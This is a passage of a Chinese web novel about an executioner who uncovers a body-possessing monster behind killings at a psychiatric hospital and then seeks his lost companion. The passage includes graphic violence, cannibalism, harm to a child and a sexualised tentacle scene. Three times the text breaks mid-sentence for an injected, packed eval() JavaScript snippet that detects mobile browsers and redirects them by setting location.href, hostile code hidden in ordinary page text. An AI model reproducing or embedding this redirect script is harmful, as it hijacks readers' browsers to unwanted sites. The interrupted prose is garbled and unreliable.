而顾瑶的前桌是一个彪形大汉,被确诊为“边缘性人格障碍”,病情并不严重,同样一个人吃。 “边缘性人格障碍”患者会有自残行为,彪形大汉手臂上确实有几道刀伤,想来是他自己用水果刀之类的划的。 目前整间国立第一精神病院的病人共计二十九人(不包括向罂)。 除去失踪的八个人,余下二十一个人。 案发后,国立第一精神病院不再接收病人,向罂是最后入院的病人。 失踪的八个人中不乏年轻力壮的男子,因而要是人类作案,作案人为成年男性的可能性较高,不然,没法将受害者转移。 这二十一个人中,彪形大汉显然是力气最大的那一个。 向罂今天给自己定的观察对象就是彪形大汉。 彪形大汉的名字是韩骏,韩骏是一个月前自己主动进的国立第一精神病院。 此前,无任何犯罪记录,也无任何犯罪嫌疑。 向罂草草吃完豆浆油条,继而坐到了韩骏面前,低声道:“我是昨天刚来的,我听说这间精神病院失踪了八个人,请问是真的么?” 韩骏点头道:“是失踪了八个人,我同房的一个病友就失踪了。” 韩骏同房的病友叫“麦克”,入院前,是个数学教师,罹患“狂躁症”。 “早知道,我就不来这个破医院了,我听说后,想出院,医生说我还没好,死活不让我出院。”向罂恐惧地道,“我不会要死在这里吧?” “他只是失踪,不一定死了。”韩骏低头吃起了鸡蛋火腿三明治。 向罂白着脸道:“能和我说说他的情况么?” 韩骏吃完鸡蛋火腿三明治,才道:“我也不知道是怎么回事,大半夜的,麦克突然说要吃烧烤,这医院里哪里来的什么烧烤啊,连外卖都点不了。我当时睡得迷迷瞪瞪,便随口说了一句,那你去吧。第二天,我起床的时候,没看见烧烤,也没看见麦克。我以为麦克没烧烤吃,来食堂了,就来食堂找他,不过我没在食堂找到他。我本来不觉得是什么大事,直到医生来查房,问我麦克在哪,我也只是说不知道去哪里了。可是一天两天三天过去了,麦克还是不见踪影,我开始觉得紧张了。我把精神病院上上下下都找了一遍,没找到他,直到今天,我也没再看见过麦克。麦克凭空消失了。” 八个人中麦克是第一个失踪的。 五天后,第二个病患失踪。 同一天,接连失踪了四个病患。 隔日,又失踪了两个病患。 由于间隔时间相对较长,麦克的失踪与后面七人的失踪不一定有关联。 向罂接着问道:“麦克在医院里有没有得罪过人?” 韩骏答道:“有啊,很多,麦克狂躁症一发作,就爱打人,见人就打,几乎把所有人都打了一遍,不过麦克失踪那天精神状态非常好,狂躁症根本没发作。你要是认为有人要害他,那么他的尸体在哪里?而且单单被他打了,就要杀他的话,那所有人都有杀他的嫌疑,包括我。” 是啊,警察掘地三尺,甚至连化粪池都查了,假使麦克被凶手杀了,那么麦克的尸体究竟藏在哪里? 向罂越想越觉得是怪物将那八个人吃了,那么怪物究竟藏在哪里? 有些怪物吃人吃得很干净,而有些怪物则会留下一地的残肢断骸。 八个人都不见骨头,所以可能是一头吃人吃得很干净的怪物。 怪物是靠吃人来维系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15255531|163120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生命的,吃人是怪物的本能,怪物不可能一直忍着不吃人,倘若是怪物吃人,迟早会暴露,但在怪物暴露前,还有多少人会无辜丧命? 向罂正思忖着,放在口袋深处的手机突然震动了一下。 国立第一精神病院的病患是不能用手机的,因而他不能光明正大地拿出来。 他躲进厕所,打开手机一看,上头赫然是一条通过“怪物清除局”app发送的消息——又有一个人失踪了,是金豆。 金豆失踪了,那个昨天抱着他的大腿,哭着想要回家的金豆失踪了! 他立刻赶到了金豆的病房,病房空空荡荡,里面没有金豆,也不见丁点儿血腥。 杰利医生急得不停地流汗,用真丝手帕擦着额头,对院长道:“怎么办?不如把所有的病人都转院吧,不然……” 把所有病人都转院绝不是个好主意,否则,警方一早就这么做了。 毕竟病人中间可能潜藏着一个杀人狂魔。 果不其然,杰利医生的建议被院长一口拒绝了:“不行。” 入院前,向罂与院长见过一面,院长让杰利医生四处去找找,留下自己与向罂。 向罂发问道:“金豆真的不见了?” 院长点头道:“恐怕是真的不见了,我已经派人找了一圈了都没找到。” 向罂又问:“金豆大约是什么时候不见的?” 院长答道:“不太清楚,半个来小时前,杰利医生来查房,才发现金豆不见了。” 也就是说金豆是在被向罂送回房间后到杰利医生查房前这段时间失踪的。 向罂一夜未眠,金豆假如被怪物吃了,为什么他一点动静都没听到? 金豆太小,被怪物一口吞了,来不及做出任何反应? 抑或金豆自己藏起来了? 向罂不禁感到一阵后悔,若是前者,他昨夜就不该送金豆回房间,兴许金豆便能躲过一劫,兴许他眼下早已将怪物处决了。 他沉默不语,将这病房查看了一番,没看出什么端倪来。 不一会儿,边橙也来了,整个人脏兮兮的,头发上还沾了蜘蛛网。 她与向罂四目相接,摇了摇头:“我把储藏室找了一遍,没找到。” 五岁的金豆似乎成了失踪的第九人。 18.国立第一精神病院·其七 不到十日,一连失踪九人,这使得国立第一精神病院内人心惶惶。 余下的二十八名患者中能自由活动的二十一名患者将院长团团围住,纷纷要求出院。 向罂看着焦头烂额的院长,暗忖:为什么失踪的全部都是病患,没一个医护?仅仅是巧合而已? 根据警方判断,失踪的八个病患应当都在国立第一精神病院内,不过警方还是在院外进行了搜索。 目前为止,一点消息也没有。 这令向罂愈发相信他们统统被怪物吃了,不然,一个人或是一具尸体警察兴许找不到,但足足八个人或是八具尸体,怎么可能都藏得这么好? 向罂突发奇想:如果是院方自导自演呢? 譬如,院方治疗不当,将病人害死了,抑或出于什么别的不可告人的目的,要利用那些病患? 倘若是院方自导自演,十天内九个人未免太过惹眼了。 而且院长明明知道他与边橙来了,何必顶风作案?生怕自己不被发现? 等他们查不出个所以然来,无功而返,再继续不好么? 他收起思绪,穿过人群,一把将院长拽了出来后,发问道:“院内有地下室么?地下室找过了么?” 院长答道:“院内没地下室。” “哦。”向罂不咸不淡地应了一声后,对边橙道,“跟我走。” 待俩人走得远了些,向罂才道:“找地下室。” 边橙不解地道:“院长不是说没地下室么?” “他说没地下室,你就信?”向罂解释道,“这座国立第一精神病院的前身是监狱,始建于百年前,按照当时的习惯,监狱十之八.九会建地下室。” 边橙点点头:“好,我们分头找。” 向罂没说话,转身就走。 不久后,他毫不意外地发现有人在窥视他,不知道是不是受了院长的命令? 他费了些功夫,才摆脱了对方的跟踪。 两个小时后,他终于发现了地下室隐蔽的入口。 他将具体位置发给边橙后,拿出消音手枪,紧接着,一颗子弹飞出枪膛,直击生锈的挂锁。 挂锁落地,他踩着火药味,推门而入。 无边无际的血赫然刺进了他的眼帘,地面、天花板、四面墙以及各种刑具上都沾满了血。 这些血已然干涸了,犹如暗红色的水漆,瞧来并不是百年前的血,至于是不是那八个人的血尚且不能下结论。 目前看来,金豆还没死,至少没死在这间地下室。 四周没有骨头渣子,也没有内脏。 他正要仔细查看,猝然有人冲他跑了过来。 他本能地侧身一闪。 “向罂哥哥,我是金豆呀。”金豆委屈得直掉眼泪,“你不是来救我的么?” 向罂定睛一看,确实是金豆本人。 他并未因此放松警惕,盯着金豆道:“你为什么在这里?” “我不知道。”金豆瑟瑟发抖地道,“你把我送回房间后,我就睡着了,一觉醒来,我发现自己……” 他说着,一指不远处的一张手术床:“我发现自己躺在那上面。” 监狱不是不能做手术,但手术床与刑具同处一室,只怕不是做手术的,而是做人体实验或是用于上刑的。 向罂又问:“你没看见任何人,也没看见任何怪物?” “没看见。”金豆抱住向罂的大腿,用自己湿漉漉的脸颊磨蹭着,“哥哥,我们走吧,我们快走吧,别待在这里,我好害怕。” “你先去门外等我。”向罂摸了摸金豆的脑袋。 金豆抬起头,冲着向罂乖巧地笑:“好呀,我听哥哥的。” 向罂背过身去,行至金豆所指的手术床前,掀开白布。 他身后的金豆突然褪去乖巧的皮囊,换了一副嗜血嘴脸,下一瞬,金豆抄起左近的一把手术刀,发足狂奔,直刺向罂的后心。 偏巧,向罂在这时候回过身来。 金豆来不及藏起手术刀,只得冲向罂捅去。 向罂以右手中指、食指夹住手术刀,淡淡地道:“你是金豆体内的那个反社会性人格?” “是啊。”金豆咧嘴一笑,“你不是再三邀请我一起把这间精神病院的所有人都杀了么?我们可以动手了。” 向罂从金豆手中夺过手术刀,一边在手里把玩着,一边好奇地道:“你想怎么杀?” “我想怎么杀?”金豆苦思冥想后,答道,“院里大概有五十来个人,我想用不同的方法杀。” 向罂面无表情地道:“金家的俩人一犬也是你杀的?” 金豆毫不隐瞒:“是我杀的。” 向罂继续问道:“具体是怎么杀的?” 金豆不答反问:“你是警察?” 向罂摇头道:“不是。” 金豆吊胃口道:“等我们把院里的人都杀了,我再告诉你。” 眼前的金豆有着一张稚嫩的脸,却露出了极不相称的狠厉,向罂突地上前,掐住金豆的脖子,慢条斯理地道:“你并不是金豆患上‘分离性身份识别障碍’而产生的反社会性人格,我猜金豆根本没患过‘分离性身份识别障碍’。” “金豆”并不挣扎,笑眯眯地道:“那你猜猜我是谁?” “我猜……”向罂斩钉截铁地道,“我猜你是一头附身在金豆身上的怪物。” 拥有智慧,能同人类对话的怪物非常罕见,向罂从未见过,能附在人类身上的怪物更是闻所未闻,连“怪物清除局”的内部档案中都未记载。 但对方倘使是一头符合这两个条件的怪物,金家一案以及金豆入院后,一连失踪七人便说得通了。 而且这世界上并没有在五岁的年纪罹患“分离性身份识别障碍”的先例。 再者说,即便金豆当真分裂出了一个反社会性人格,但金豆太小,力气不大,杀人剖尸难度太大。 “Bingo,被你猜中了。”金豆掰开向罂的手,用软乎乎的嗓音道,“哥哥,我也猜中你的身份了,你不是警察,你是‘怪物清除局’的人。” 向罂默认了,心脏倏然战栗不休,一身的肌肤齐齐发紧。 他暗暗地吸了口气,按捺住激动,佯作平静地道:“在成为怪物之前,你是人么?” 你是不是从怪物体内醒了过来,进而夺取了怪物的肉身? 闻璨是不是能像你一样? “哦,我知道了,你重要的人被怪物吃了,你希望他能主宰怪物的身体,与你团聚?”“金豆”胖乎乎的脸上浮现出天真无邪的笑容。 向罂点头承认:“对。” “我在成为怪物之前,是不是人呢?”“金豆”双手抱胸,慢吞吞地道,“你猜。” 向罂不假思索地道:“我猜你是。” “哥哥。”“金豆”奶声奶气地唤了一声,“那可要让你失望了,我不是人,得穿上人类的皮囊才能有个人样。” “是么?”嗓音不由自主地浸染了失望,向罂抿了抿唇瓣,“那么……” 怪物打断道:“那么布朗伯爵是不是成功借由怪物的身体活了过来,并且回到了妻子身边?” 祂伸长脖子,仰望着向罂,却颇有一种俯视蝼蚁的气势:“假的,都市传说而已。” “向罂,你等的那个人回不来了,他的营养被怪物吸收了,多余的部分被怪物排出体外,成了肮脏的排泄物。”祂观察着向罂的神情,想从中咂摸出痛苦来。 “怪物清除局”每年录取的处刑官少之又少,极为严格,祂还没见过处刑官哭咧。 这个向罂瞧来不好相与,要是崩溃了一定很可爱。 因为与人类这种生物最相衬的就是绝望。 “哦。”向罂换了话茬,从容地道,“为什么选中金家?” ——区区一头怪物罢了,不可尽信。 他自我安慰道。 一旦接受闻璨绝不可能变成第二个布朗伯爵,回到他身边,那么他的一生便戛然而止了,接下来,他不得不当一具行尸走肉,麻木地等待死亡将他带走。 “金豆”愕然地道:“你怎么没别的表示?” 向罂充耳不闻:“为什么选中金家?” “真是个无趣的人类。”怪物仁慈地道,“我说自己善心大发你信么?金豆这孩子的父母对他极为严厉,甚至连吃饭一不小心将饭粒掉到了衣服上这样的小事,都会得到一顿痛骂。那天,他爸爸得知金豆没被李老师选上去参加绘画比赛,气得将金豆关在阳台。晚上起风了,金豆冷得卷缩成一团,哭着敲玻璃门,说,‘爸爸妈妈,我错了,下一次,我一定让李老师选我,我错了……’ “那时,我刚刚吃了个人,正在散步消食,被金豆哭得脑子疼。金豆哭了好一阵子,没人搭理他,总算哭不动了,他哑着嗓子道,‘我讨厌爸爸,讨厌妈妈,讨厌李老师’。 “我喜欢人类,对于人类幼崽当然是有求必应,所以我附在了金豆身上,好让他亲手杀了讨厌的爸爸妈妈。哦,对了,我只喜欢人类,不喜欢狗,就算金豆没说讨厌那条狗,我还是让金豆把它杀了。好像叫‘Lucky’是吧?能死在我手上,真的是一条很Lucky的狗呢。金豆喜欢画画,我就用那三具尸体的血帮金豆画了一副全家福。” 向罂讥诮道:“你的善心大发就是让金豆家破人亡?你问过金豆本人的意愿了么?” 怪物困惑地道:“不好么?死了爸妈就没人会虐待金豆了,金豆自由了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314281|163120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “按照《儿童保护法》,他们罪不至死,但他们的行为需要被矫正,如若矫正失败则会被剥夺抚养权。”向罂叹了口气,“算了,人都死了。” 怪物也学着向罂叹了口气:“是啊,人都死了——再多些死人就更好了。” 向罂确认道:“那七个人是被你吃了?你是在这里吃的?” ——金豆是第一个病人失踪后入院的,第一个病人应当与眼前的怪物无关。 “是啊,拆开来吃的,才溅了这么多血,据说血液占人体体重的百分之七、八,真可爱。”怪物舔舔嘴巴,“哎呀,都是些精神不正常的废物,我这可是为政府分忧解难。你们政府本来就不讲究所谓的人权,定期会处理那些‘异变值’高的婴儿,不是么?” 向罂不太清楚那些婴孩具体是被怎么处理的,他阖了阖眼,才道:“他们都死了么?” “那倒没有。”怪物如数家珍地道,“有被恋童癖收养的,有被培养成器官提供者的,有被做成食物的,有被训练成雇佣兵的……总而言之,基本都被回收利用了,浪费不多。” 向罂能料到他们的日子不好过,可是听到怪物的话,仍是忍不住一阵恶寒。 政府自称是出于人道主义而设置在每个街区的“婴儿箱”,其实是为了方便收集婴孩,并以此牟利。 难不成“异变值”的设置本身就是为了让父母主动献祭亲生骨肉? 议长知道这些婴孩的去处么?议长想过改革么? 当年议长也打算将他丢入“婴儿箱”吗? 怪物嗤笑道:“你不会认为你们政府是什么为人民着想的好政府吧?” 向罂当然不这么认为,否则,“乌鸦贫民窟”就不会与帝都隔岸相望了,闻璨也不会为了向市政府多申请些经费而在回“乌鸦贫民窟”的路上被…… “我们去揭发政府的所作所为!”他冲动地道。 “就你这智商是怎么被‘怪物清除局’录取的?”怪物哈哈大笑,这个人类终于有趣点了,人类就应该是情绪化的动物,“政府上层可是层层勾结的,你以为就凭我和你能掀起风浪?再说了,你自己不要命,可别扯上我,我还想吃更多人呢。” 向罂顿时萎靡了,是啊,政府有千百种方法弄死他,即使他当众揭发,消息也会被马上封锁,更何况没人会听信一头怪物的说辞。 他拍了拍额头,让自己清醒些,才接着发问道:“‘异变值’越高真的越容易变成怪物么?” “这我怎么知道?‘异变值’又不是我发明的。”怪物摆摆手,“人类,滚吧,别打搅我觅食。” 这个人类蠢是蠢了点,但是不好对付,他不爱啃硬骨头。 向罂冷声道:“你要吃金豆了?” 怪物坦诚地道:“金豆穿起来还挺舒服的,等我把院里的人吃干净,再吃金豆。” 对于这头怪物而言,人类不是粮食,便是玩具、衣服。 向罂当即抽出匕首,直抵怪物的眉心:“不准再吃人了。” “怪物吃人天经地义,和人类吃鸡鸭鹅是一样。”怪物质问道,“人类能不吃鸡鸭鹅么?不能,所以怪物也不能不吃人,不过……” 祂喃喃自语地道:“我倒是遇见过一头很久没吃过人的怪物,饿得行动迟缓,差点被别的怪物吃了。” 向罂听到这话,登时心如擂鼓,那头怪物会是闻璨么? “他在哪儿?”向罂唇瓣打颤,“告诉我。” “不告诉你。”怪物不耐烦地道,“你走不走?你不走,我就先吃你。” 向罂握紧匕首,向前一刺,“金豆”眉心霎时淌下些许猩红:“告诉我,他在哪儿?” 怪物好心地提醒道:“我现在附在金豆身上,你只能杀了金豆,杀不了我。” “我杀了金豆后,将你关在这地下室,饿你几年,总饿得死你吧?”向罂善良地道,“金豆被你害得成了无父无母的孤儿,还是死了,下去陪他的爸爸妈妈和Lucky来得幸福。” 这个人类老不消停,真是麻烦,算了先吃他吧。 怪物有了主意,舔了舔自己胖乎乎的手指。 先前从未有过怪物附身的案例,向罂不太清楚怪物是不是在撒谎。 无论如何,作为处刑官,他不能杀金豆,更何况,他也不忍心下手。 实在是棘手。 怪物猛地一扑,见向罂倒地,趁机咬住了向罂的脖子。 与此同时,向罂的匕首刺穿了“金豆”的后背,距后心仅仅寸许。 怪物兴许撒了谎,一旦金豆性命垂危,祂便不得不从金豆体内出去。 怪物仿佛感觉不到痛楚,一口从向罂颈侧撕下一块肉来,当着向罂的面细细地咀嚼起来。 19.国立第一精神病院·其八 一个五岁的孩子嘴唇,下巴鲜血淋漓,还吃着人肉,加之笑容诡异确实吓人,可惜吓不到向罂。 向罂即刻拔出匕首,利落地割断了怪物的一双脚筋。 从怪物的表现判断,怪物的附身并不能给金豆这具躯体带来太多额外的力气。 或许祂所谓的让金豆亲手杀了爸爸、妈妈是彻头彻尾的谎言,祂是杀了俩人一犬后,才附了金豆的身。 不然,连撕咬他的颈肉都只能咬下这么一小块的“金豆”真能杀人剖尸? 或许是金豆的躯体束缚了怪物?那怪物为什么不出来了结了他,何必同他浪费时间? 又或许怪物不过是在虚张声势罢了,一旦现出原形,便会被他轻而易举地拿下? 这是一头天赋异禀的怪物,如果可以,他其实很想同祂合作,但他首先得制服祂。 怪物没料到向罂脸上一点恐惧也没有,之前祂这么做,每个人类都吓得不轻,甚至还有当场失禁的。 这个向罂非但不好吓,还割断了金豆的脚筋。 向罂捏着怪物的后颈肉,将怪物提了起来,不紧不慢地道:“他在哪儿?” 没等怪物说话,他连怪物的一双手筋都挑断了。 手筋、脚筋都能接,问题不大,只要能快点将怪物逼出来。 显然怪物能感受到肉.体的痛苦,“金豆”的小脸马上皱成了一团。 不知道这头怪物忍痛的能力如何? 怪物尽力舒展了皮肉,继而沾沾自喜地道:“你求我啊。” 他以为向罂骨头硬,不曾想,向罂竟然毫不犹豫地道:“我求你告诉我。” “啊?”奇怪的人类。 向罂面无表情地道:“我求你告诉我,祂在哪儿?” 怪物不满地道:“人类是这么求人的?” “首先,你不是人;其次,我就是这么求你的。”向罂又往怪物肩上喂了一刀。 怪物疼得发抖,他拢共在国立第一精神病院吃了七个人,每个人都是精神病,但这个叫做“向罂”的处刑官明显比他们病得更重。 “怪物清除局”是政府单位,怎么能招精神病? 这个国家是怎么了? “求你。”向罂语调平淡,匕首稍稍转了转,逼出了更多的猩红。 金豆这具躯体真没用,只能任由这个处刑官宰割。 除了那些弱鸡得一无是处的怪物,怪物一般都有自己的特长,而祂的特长是能思考,能附身,至于战斗……不好意思,一点都不擅长。 “求你,求你,求你……”向罂每说一声“求你”,怪物身上便多一个血窟窿。 怪物实在是受不了了:“祂总是在‘乌鸦贫民窟’和市政府附近徘徊。” 向罂语气不稳,确认道:“他长得什么模样?” 怪物本想戏耍向罂一会儿,又怕向罂再捅祂,只能实话实说:“狮鬃水母,祂长得像一头狮鬃水母。” 一头总是在“乌鸦贫民窟”和市政府附近徘徊,长得像狮鬃水母的怪物。 闻璨被怪物吞噬后,向罂仅仅在闻璨葬礼那天回过“乌鸦贫民窟”,市政府更是再也没去过。 其实闻璨一直在等他? 闻璨,闻璨,闻璨…… 双眼情不自禁地覆上一层水雾,向罂吸了吸鼻子,无比真诚地道:“多谢你告诉我。” “啊?”这个向罂一下子从凶狠的处刑官变成一个苦守寒窑多年的王……王啥来着,对了王宝钏。 祂喜欢人类,当然也喜欢人类的文化。 祂又乐于助人地道:“我忘了提醒你,祂不会说话,没智慧,就是一头单纯的狮鬃水母怪。” 向罂像是没听到一般,道:“你出来吧,只要你答应我不再吃人,我就不杀你。” “不出来。”万一祂出来了,向罂又改变主意了,祂岂不是自己送死? 向罂淡淡地道:“金豆,你在么?醒一醒,快醒一醒。” “你以为……”怪物正要讥讽向罂两句,不料,金豆沉睡的灵魂当真被唤醒了。 “啊?你会叫魂?”怪物惊诧地道。 “不会啊,试试而已。”向罂答道,他再接再厉,“金豆,醒醒,把那个在你体内的怪物赶出来。” 不等怪物反应,祂居然真的被赶出来了。 向罂端详着掉落在地上的一节指节长的蚯蚓,失笑道:“好弱的怪物。” 比他处刑过的所有的A-级的怪物都要弱得多,评级体系应该再增加一个A--级。 幸而是一条好弱的怪物,否则就凭他这副没痊愈的身体怕是制服不了对方。 但就是这么一条好弱的怪物杀了金豆的爸爸、妈妈、Lucky、国立第一精神病院的七个病人以及其他数不清的人类。 其中有相当一部分甚至是虐杀。 对于怪物来说,人类的确是太弱小了。 向罂嫌弃地捏起蚯蚓,好奇地道:“你只能长这么大?” 蚯蚓没来得及说话,边橙姗姗来迟。 边橙看看满室的血,又看看躺在血泊中的金豆,发问道:“凶手是金豆?” “是这只蚯蚓怪附了金豆的身干的,第一个失踪的病人想必与院长脱不了干系,让警方去审。”向罂将蚯蚓怪交给边橙,自己抱起金豆急救去了。 片刻后,似醒非醒的金豆被推入了急救室。 向罂看着“手术中”三个字,心下祈祷:金豆,你一定要活过来。 他不清楚金豆如若知道自己成了孤儿,不会有人来接他出院了,会想活着,还是会想死? 又或者金豆其实早就知道了,只是不肯相信? 金豆的确患上了精神疾病,但不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314282|163120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “分离性身份识别障碍”,而是“创伤后应激障碍”? 不管怎么样,他都希望金豆能活下去。 毕竟生命是极其宝贵的,有多少人想活,却又活不了。 三个小时后,金豆被医生推了出来。 他看了眼金豆,紧张地问主治医生:“怎么样?” 主治医生拉下口罩,答复道:“凶手的手法很巧妙,没什么大碍了,也不会留下后遗症。” “多谢你。”凶手本人向主治医生鞠了一躬。 而后,向罂去了审讯室。 没多久,院长便招了,第一个失踪的麦克在治疗过程中不幸死亡,院长为了掩饰这起医疗事故,将麦克埋在了地下室下方。 接下来院长要怎么判,国立第一精神病院又会怎么样就不在向罂的职责范围内了。 向罂先回宿舍,洗去怪物的气味,才去了“怪物清除局”。 他坐在自己的办公室里,打开电脑,写完“金家一案”以及“国立第一精神病院一案”的案件报告后,再次回宿舍洗澡了。 他洗得很仔细,用几乎擦破皮肤的力道。 直到皮肤起皱了,他才关上莲蓬头,用浴巾擦干身体。 他要去见闻璨了。 去见将近两年没见的闻璨。 见闻璨必须干干净净的。 今天恰巧是他十八岁的生日,闻璨要是能给他煮一碗长寿面就好了,他绝不会再嫌弃长寿面老土。 闻璨,闻璨,闻璨…… 心脏高声呼喊着,直要震聋他的耳膜。 他打开衣柜,衣柜里衣服不多。 他挑了闻璨买给他的白衬衫与牛仔裤,手指不停地发抖,以至于他连衬衫的扣子都扣不了。 假使那条蚯蚓怪骗了他该怎么办? 但蚯蚓怪怎么会知道闻璨与“乌鸦贫民窟”、市政府有关? 假使那头狮鬃水母怪不是闻璨该怎么办? 不会的,不会的,不会的…… 不能丧气,不能丧气,不能丧气…… 加油,加油,加油…… 相信闻璨。 他好不容易穿妥衣服、鞋子,深深吸了一口气后,抱起床头的标本瓶,亲了亲:“闻璨,我去见你了,你等等我,等等我。” 四肢不太听使唤,还没走出房门,他就重重地摔了一跤。 他顾不上磕破的膝盖,立刻站了起来。 由于等不及坐电梯,他拼命地跑下了楼。 跑步会牵动还没长好的伤口,其实还有点疼,但这点疼算不了什么。 今天风和日丽,他穿过重重日光,奋力奔向心目中更为璀璨、盛大的日光。 耳边是叽叽喳喳的鸟鸣,周遭是熙熙攘攘的人类。 这个世界平静得仿佛从没出现过什么怪物,万物勃发,欣欣向荣。 20.如愿·其一 食用人类是怪物的天性与本能,亦是怪物赖以生存的手段,一般来说,一头怪物每周至少得食用一个人类,其中有些异常贪食的怪物从诞生之日起,便一刻不停地胡吃海塞,直至撑死,或是被处刑官了结。 而祂是怪物当中的异类,并不贪食,甚至连上次吃人是什么时候都记不清了。 怪物力量的强弱与其食用人类的数量息息相关,越多则越强。 根据“怪物清除局”对于怪物等级的划分,祂显然是A-级。 怪物当中有偏爱狩猎同类的异类,尽管这并不能增加祂们的力量。 想来祂们吃多了人类,也想尝尝同类的滋味。 是以,祂终日活得战战兢兢,唯恐命丧同类之口。 人类其实也一样。 多年前,名流云集的聚会曾一度十分流行吃木乃伊;而今,似乎又流行起了吃婴孩、少女。 侥幸躲过一头怪物的猎杀后,祂放松地跃入中央公园的池水中,舒展着数不清的触手。 猎杀祂的怪物长得像是雄狮与灰狼的嵌合体,很是凶猛。 大约一个多月前,祂被一头更为凶猛的怪物追杀,危在旦夕之时,那怪物看见人群,便心血来潮地吃人去了。 那头怪物似虎似狮又似豹,后来在国会被处刑官处决了。 祂是一头狮鬃水母怪,自然可以一直待在水里,而且水里安全得多。 不过出于祂自己也弄不明白的原因,祂不爱待在水里。 除了补充必要的水分,祂几乎不下水。 这附近现在没有同类,祂放心地从水里探出伞状的脑袋,望向市政府大楼。 不少怪物是由人所异变而成的,祂常常想自己做人的时候是不是市政府的工作人员。 至于市政府的工作人员具体是做什么的?祂不太清楚。 等到身体吸饱水分,祂去了一个叫“乌鸦贫民窟”的地方,看东方罂.粟。 祂每天都要来“乌鸦贫民窟”,尤其对这丛东方罂.粟念念不忘。 人类擅长从罂.粟中提取鸦.片,用于醉生梦死,东方罂.粟与其它罂.粟一样美丽得几乎罪恶,却不含生物碱,不能提取鸦.片。 那么种植这丛东方罂.粟的人类的目的是什么呢? 东方罂.粟在微风中轻轻摇曳着,令祂想起两年前的情形——围着棺材,发出震天哭声的人类们以及格格不入,完全没哭的少年。 啊,真是个奇怪的少年。 当时祂还不会改变自己的尺寸,鉴于人类太多,祂害怕自己被发现,只看了一眼,便飘走了。 自此之后,祂便日日来看这丛东方罂.粟。 天色渐渐晚了,出去干活的大人陆陆续续地回来了。 不久后,饭菜香四溢。 祂趁着夜色,飘在半空,仔仔细细地在“乌鸦贫民窟”转了一圈,才往市政府飘。 有些怪物喜欢四处走,而有些怪物不喜欢挪地。 祂属于后者,除非被其祂怪物追杀,不得不逃走,否则,祂基本都在“乌鸦贫民窟”与市政府之间徘徊。 祂突然觉得肚子饿了,兴许是因为方才的饭菜香太香,勾起了祂的食欲,又或许是因为祂太久没进食了。 不论如何,祂必须得吃人了。 但是吃谁好呢? 怪物不会为同类的死亡而悲伤,可是人类会。 是不是应该吃一个不会有人为他悲伤的人类? 不过人类悲伤与否同祂有什么关系? 祂努力地说服自己,毕竟祂没法知道谁无亲无故,祂总不能任由自己被活生生地饿死吧。 踟蹰间,祂飘进了通往市政府的小巷。 许久后,祂总算下定了决心:我要吃掉下一个见到的人类。 下一瞬,祂在小巷尽头发现了一个少年。 路灯不够明亮,不足以让祂看清这个少年的样貌。 管不了那么多了,就他了。 祂被辘辘饥肠催促着冲到了少年身边,在少年反应过来之前,从蝴蝶般大小变回原本大小,进而迫不及待地用自己最为粗壮的触手圈住少年的腰身,将少年提了起来。 没想到这么容易就能抓住人类。 人类真是太弱小了。 与此同时,祂又忍不住想:好细的腰身,这个人类有在好好吃饭么? 祂垂下眼去,郑重其事地端详着少年,犹如人类享用美食前,先看色。 对祂而言,少年无疑是一道色香味俱全的佳肴。 少年较祂在商场大屏幕上看到过的所谓的当红明星漂亮得多,只是皮肤略显苍白,没什么血色。 少年的唇瓣却红得扎眼,难道涂了口红? 祂是一头具有求知欲的怪物,于是祂抬起其中一根触手,蹭了蹭少年的唇瓣。 没蹭下丁点儿颜色,这少年没涂口红。 见少年唇瓣微张,祂生怕少年会呼救,当即用触手堵住了。 今夜没什么星星,好似全数降落在了少年眼中。 而这些星星立刻覆上了一层雾水,变得朦胧可爱。 少年被祂弄得难受了,快哭了吧? 真可怜。 对不起。 但我今天必须吃了你。 祂这样想着,掐着少年腰身的触手稍稍收紧。 不知将这腰身掐断,从里头流出来的脏器是否如少年的面孔般漂亮? 祂的很多同类喜欢从里往外吃,据说这样做可以让食物更加美味。 祂也想试试。 于是祂将一根触手探入了少年的口腔。 暴露出来的舌头嫣红,如同于明媚日光中摇曳的东方罂.粟。 祂不由有些恍惚,余下的触手情不自禁地覆上了少年的身体。 少年果然没好好吃饭,不仅腰细,身上更是没几两肉。 祂是一头情绪稳定的怪物,竟然因为这一认知而生气了。 人类就应该好好吃饭,尤其是这个被自己捕获,即将被自己食用的少年。 过多的粘液一下子浸润了少年身上的白衬衫与牛仔裤,白衬衫紧紧地粘住了少年的肌肤,使得少年的胸口透出薄红,同时少年下.身的牛仔裤隆得更为明显了。 大抵是害怕的缘故吧,少年的面孔发红,眼睫上盈满了眼泪,只一眨,便纷纷落下。 少年看起来一塌糊涂,极其可怜。 